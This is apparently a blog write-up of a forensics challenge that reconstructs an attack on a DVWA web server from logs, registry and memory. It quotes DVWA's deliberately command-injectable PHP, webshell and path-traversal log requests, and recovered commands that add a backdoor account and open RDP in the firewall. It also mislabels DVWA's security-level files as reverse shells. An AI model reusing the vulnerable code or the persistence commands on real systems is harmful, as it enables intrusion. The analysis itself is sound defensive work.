    Since we knew that the administrator account was a main pivot point of the attacker, I pivoted over to parse the SAM hive:

    gmucfrs$ perl rip.pl -r '/home/gmucfrs/Desktop/mount_points/windows_mount/Windows/System32/config/SAM' -f sam

    Walking my timeline output CSV file I also found that the attacker added a file "data.txt" at the location C:\Documents and Settings\Administrator\ which contained the text "hello" on 9/2/15 at 9:32 AM UTC. Long entries were verified in the Apache access.log file. HTTP POST requests here are likely when then the .102 attacker is writing data to the victim's filesystem using an "exec" or execution vulnerability.

    192.168.56.102 - - [02/Sep/2015:02:32:03 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 5207 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"

    192.168.56.102 - - [02/Sep/2015:02:32:22 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 5746 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"

    192.168.56.102 - - [02/Sep/2015:02:33:00 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 5794 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"

    192.168.56.102 - - [02/Sep/2015:02:33:23 -0700] "GET /dvwa/vulnerabilities/fi/?page=../../../../../../users/administrator/data.txt HTTP/1.1" 200 3641 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"


    In attempts to confirm my suspicious navigated to "/xampp/htdocs/DVWA/vulnerabilities/exec" seen below:

    /xampp/htdocs/DVWA/vulnerabilities/exec folder
    The contents of xampp\htdocs\DVWA\vulnerabilties\exec\index.php are posteded below. The PHP code allows an attacker to accept a victim IP and leverage three different reverse shells - "low.php", "medium.php" and "high.php". This is a basic but successful attack vector. We've seen attacker HTTP user agents that previously reference these status's discussed earlier. An example was: Cookie: security=low; PHPSESSID=14fe301rno6vq8tsiicedeua01. As expected interaction is provide via HTTP POST's. They even provided commented code :)

    <?php
    define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
    require_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php';
    dvwaPageStartup( array( 'authenticated', 'phpids' ) );
    $page = dvwaPageNewGrab();
    $page[ 'title' ] .= $page[ 'title_separator' ].'Vulnerability: Brute Force';
    $page[ 'page_id' ] = 'exec';
    dvwaDatabaseConnect();
    $vulnerabilityFile = '';
    switch( $_COOKIE[ 'security' ] ) {
    case 'low':
    $vulnerabilityFile = 'low.php';
    break;
    case 'medium':
    $vulnerabilityFile = 'medium.php';
    break;
    case 'high':
    default:
    $vulnerabilityFile = 'high.php';
    break;
    }
    require_once DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/exec/source/{$vulnerabilityFile}";
    $page[ 'help_button' ] = 'exec';
    $page[ 'source_button' ] = 'exec';
    $page[ 'body' ] .= "
    <div class=\"body_padded\">
    <h1>Vulnerability: Command Execution</h1>
    <div class=\"vulnerable_code_area\">
    <h2>Ping for FREE</h2>
    <p>Enter an IP address below:</p>
    <form name=\"ping\" action=\"#\" method=\"post\">
    <input type=\"text\" name=\"ip\" size=\"30\">
    <input type=\"submit\" value=\"submit\" name=\"submit\">
    </form>

    Here is the code for "low.php":

    <?php
    if( isset( $_POST[ 'submit' ] ) ) {
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.

    if (stristr(php_uname('s'), 'Windows NT')) {
    $cmd = shell_exec( 'ping  ' . $target );
    $html .= '<pre>'.$cmd.'</pre>';
    } else {
    $cmd = shell_exec( 'ping  -c 3 ' . $target );
    $html .= '<pre>'.$cmd.'</pre>';
    }
    }
    ?>

    Here is the code for "medium.php":

    <?php
    if( isset( $_POST[ 'submit'] ) ) {
    $target = $_REQUEST[ 'ip' ];
    // Remove any of the charactars in the array (blacklist).
    $substitutions = array(
    '&&' => '',
    ';' => '',
    );
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.

    if (stristr(php_uname('s'), 'Windows NT')) { 
    $cmd = shell_exec( 'ping  ' . $target );
    $html .= '<pre>'.$cmd.'</pre>';
    } else { 
    $cmd = shell_exec( 'ping  -c 3 ' . $target );
    $html .= '<pre>'.$cmd.'</pre>';
    }
    }
    ?>

    Here is the code for "high.php":

    <?php
    if( isset( $_POST[ 'submit' ] ) ) {
    $target = $_REQUEST["ip"];
    $target = stripslashes( $target );

    // Split the IP into 4 octects

    $octet = explode(".", $target);

    // Check IF each octet is an integer

    if ((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is_numeric($octet[3])) && (sizeof($octet) == 4)  ) {

    // If all 4 octets are int's put the IP back together.

    $target = $octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3];

    // Determine OS and execute the ping command.

    if (stristr(php_uname('s'), 'Windows NT')) { 
    $cmd = shell_exec( 'ping  ' . $target );
    $html .= '<pre>'.$cmd.'</pre>';
    } else { 
    $cmd = shell_exec( 'ping  -c 3 ' . $target );
    $html .= '<pre>'.$cmd.'</pre>';
    }
    }
    else {
    $html .= '<pre>ERROR: You have entered an invalid IP</pre>';
    }
    }
    ?>

    Additionally the Apache Access log revealed successfully attacker command line interaction from 192.168.56.102 with the webshell "phpshell.php" starting on Sep 3 2015 at 07:16 AM (GMT), as seen below:

    192.168.56.102 - - [03/Sep/2015:00:16:13 -0700] "GET /dvwa/hackable/uploads/phpshell.php?cmd=dir HTTP/1.1" 200 419 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"

    192.168.56.102 - - [03/Sep/2015:00:17:49 -0700] "GET /dvwa/hackable/uploads/phpshell.php?cmd=dir%20C:\\ HTTP/1.1" 200 1934 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"

    192.168.56.102 - - [03/Sep/2015:00:17:58 -0700] "GET /dvwa/hackable/uploads/phpshell.php?cmd=mkdir%20abc HTTP/1.1" 200 - "-" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"

    192.168.56.102 - - [03/Sep/2015:00:18:02 -0700] "GET /dvwa/hackable/uploads/phpshell.php?cmd=dir HTTP/1.1" 200 463 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"


    Commands Issued (above):
    dir
    dir C:\
    mkdir abc
    dir

    Volatility's consoles plugin gave us a wealth of attacker commands, some were covered earlier related to the account creation section:

    ******************
    Attacker Commands: 
    CommandHistory: 0x5a24708 Application: cmd.exe 
    ******************
    Cmd #0 @ 0xe907c8: ipconfig
    Cmd #1 @ 0xe91af8: cls
    Cmd #2 @ 0xe91db0: ipconfig
    Cmd #3 @ 0x5a34bd0: net user user1 user1 /add
    Cmd #4 @ 0x5a34eb8: net user user1 root@psut /add
    Cmd #5 @ 0x5a34c10: net user user1 Root@psut /add
    Cmd #6 @ 0x5a24800: cls
    Cmd #7 @ 0x5a34c58: net /?
    Cmd #8 @ 0x5a34d88: net localgroup /?
    Cmd #9 @ 0x5a34f48: net localgroup "Remote Desktop Users" user1 /add
    Cmd #10 @ 0x5a34c70: net /?
    Cmd #11 @ 0xe911b0: netsh /?
    Cmd #12 @ 0xe907e8: netsh firewall /?
    Cmd #13 @ 0xe91218: netsh firewall set service type = remotedesktop /?
    Cmd #14 @ 0xe91288: netsh firewall set service type = remotedesktop enable
    Cmd #15 @ 0xe91300: netsh firewall set service type=remotedesktop mode=enable
    Cmd #16 @ 0xe91380: netsh firewall set service type=remotedesktop mode=enable scope=subnet


    CommandProcess: csrss.exe Pid: 524
    CommandHistory: 0x5a30950 Application: cmd.exe 

    Cmd #0 @ 0xe91970: netsh fireall set service type=remotedesktop mode=enable scope=subnet
    Cmd #1 @ 0x5a17b58: netsh firewall set service type=remotedesktop mode=enable scope=subnet
    Cmd #38 @ 0x5a30bc8:                
    Cmd #39 @ 0x5a24890: et.exe
    Cmd #48 @ 0x5a24890: et.exe
    Cmd #49 @ 0xe91af8: cls

    Q3 answers: What leftovers (files, tools, info, etc) did the attacker(s) leave behind? (assume our team arrived in time and the attacker(s) couldn’t clean & cover their tracks)

    The attacker left behind Windows enumeration activities on the victim in memory, on the filesystem and in the registry.

    The attacker leveraged SQL injection to upload the webshell tmpudvfh.php with the tool SQLMAP.
    They also modified a webshell, c99.php, with wordpad to include the text "Owned by Hacker". The file data.txt was also added to the victim webserver. Finally, the attacker leveraged a 3 pronged PHP reverse shell to traverse and enumerate the victim server directly.

    Question 4: What software has been installed on the box, and were they installed by the attacker(s) or not?

    After reviewing the c99.php activity that was seen both in both the Apache access.log and the administrator's NTUSER.dat registry hive, I wanted to know when the file first existed on disk. This would help add context to the main question here - "what software was installed on the box, was it done by the attacker?". I first tried to find the master file table ($MFT) activity in my timeline, but it wasn't as clear as I wanted in that I couldn't find a clear creation time for c99.php. After copying off the $MFT file from the root of my mounted Windows drive, I used David Kovar's AnalyzeMFT, as it's my go to $MFT parser for standalone duties. I had a Windows ported PE32 copy handy and my syntax looked like this:


    C:\tools\MFT\analyzeMFT-V1-7-x86.exe -f "D:\Challenges\binaryzone_9-16-15\host image\$MFT" -o "D:\Challenges\binaryzone_9-16-15\host image\MFT.csv"

    $MFT Entry for C99.php

    The actual creation time (FN creation) is June 9 2012 at 5:57 PM (GMT). I always look at the FN attribute as it's a timestamp that is not easy to timestomp like he SI timestamp attributes are.
    Our last modified time is Sep 3 2015 at 3:20 AM (GMT) which is inline with what we knew from our earlier timeline analysis and our attacker adding their "Owned by hacker" insignia in c99.php. On that same sentiment, I checked the $MFT for the /xampp and /xampp/htdocs/DVWA as they both housed vulnerable applications leveraged by the attacker like Apache (httpd.exe) and some of the DVWA php webshells.

    The /xampp folder was created on Aug 23 2015 at 10:41 PM (UTC) and the /xampp/htdocs/DVWA folder was created on Aug 23 2015 at 10:52 PM (UTC). Walking backwards through the disk timeline yielded no additional signs of attacker activity. The administrator account appeared not to be compromised on Aug 23 2015 and could be seen on the box a minute before the /xamp folder's creation; DVWA was also installed over approximately the next 15 minutes. To answer the question itself "...was it done by the attacker?", my answer is no, it was not.

    Finally I wanted to pivot back to the 9/2 attacker account creation. I checked the access.log file and found attacker activity on that date and time against the page. Similar to the attacker's addition of the "data.txt" file discussed earlier we see HTTP POST activity and interaction with the "exec" resource which provides reverse shell access to the victim.

     192.168.56.102 - - [02/Sep/2015:01:59:52 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 4934 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"

    192.168.56.102 - - [02/Sep/2015:02:02:33 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 4934 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"

    192.168.56.102 - - [02/Sep/2015:02:03:18 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 4934 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"

    192.168.56.102 - - [02/Sep/2015:02:04:36 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 4934 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"

    192.168.56.102 - - [02/Sep/2015:02:05:22 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 4971 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"

    192.168.56.102 - - [02/Sep/2015:02:19:21 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 4971 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0"

    192.168.56.102 - - [02/Sep/2015:02:25:04 -0700] "POST /dvwa/vulnerabilities/exec/ HTTP/1.1" 200 4840 "http://192.168.56.101/dvwa/vulnerabilities/exec/" "Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.2.0" 

    Q4 answers: What software has been installed on the box, and were they installed by the attacker(s) or not?

    Damn Vulnerable Web Application (DVWA) was installed on the victim webserver. It does not appear to have been installed by the attacker.

    Question 5:Using memory forensics, can you identify the type of shellcode used?


    I was unable to find anything that confirmed shellcode was used in memory. I leveraged Volatility's malfind plugin and also used multiple Yara shellcode signatures across memory searching for known opcode instructions associated with shellcode usage. 

    Question 6: What is the timeline analysis for all events that happened on the box?

    • The /xampp folder was created on Aug 23 2015 at 10:41 PM (UTC) 
    • The /xampp/htdocs/DVWA folder and application was created on Aug 23 2015 at 10:52 PM (UTC). 
    • The attacker created the user account "user1" on Sep 2 2015 at 09:05:06 AM (UTC)
    • The attacker created the user account "hacker" on Sep 2 2015 at 09:05:25 AM (UTC)
    • The attacker added a file "data.txt" at the location C:\Documents and Settings\Administrator\ which contained the text "hello" on Sep 2 2015 at 9:32 AM UTC
    • Between Sep 2 2015 6:59 AM UTC and 7:24 AM UTC the attacker used the reverse Windows command shell index.php (which housed 3 seperate reverse shells) to interact with the victim webserver.
    • The attacker had command line interaction from the IP address 192.168.56.102 with the webshell "phpshell.php" starting on Sep 3 2015 at 07:16 AM (GMT). The Windows commands "dir", "dir C:\" and "mkdir abc"were successfully issued.
    • The attacker added the "Owned by Hacker" to c99.php using WordPAD on September 3 2015 07:20 PM (UTC).
    • A webshell that provided a reverse shell was established which allowed for an attacker to run arbitrary commands on the victim webserver. This was performed with the "administrator" account on the webserver.
    • The Apache access.log log file shows successful SQL Injection activity from the IP 192.168.56.102 on Sep 3 2015 at 6:52 AM (UTC) and what appears to be a successful upload of tmpudvfh.php
    • The attacker created the directory "abc" at the location /xampp/htdocs/DVWA/hackable/uploads/ on Sep 3 2015 7:17 AM (UTC)

    Question 7: What is your hypothesis for the case, and what is your approach in solving it?

    My hypothesis for the case was that attacker primarily leveraged the DVWA to both upload webshells, create new user accounts and leverage a reverse shell on the victim host, which occurred between September 2nd and 3rd 2015. My approach was to discover and analyze attacker activity, painting the picture of what the attacker did. I also focused on understanding if the attacker installed DVWA or if it was previously installed on the victim webserver.

    Question 8: Is there anything else you would like to add?

    I have nothing else to add technically. I felt this was a solid challenge and really enjoyed working on it.

    Question 9: What are the directories and files that have been added by the attacker(s). List all with proof.

    I don't have anything else to add for this question that I didn't already mention in the blog.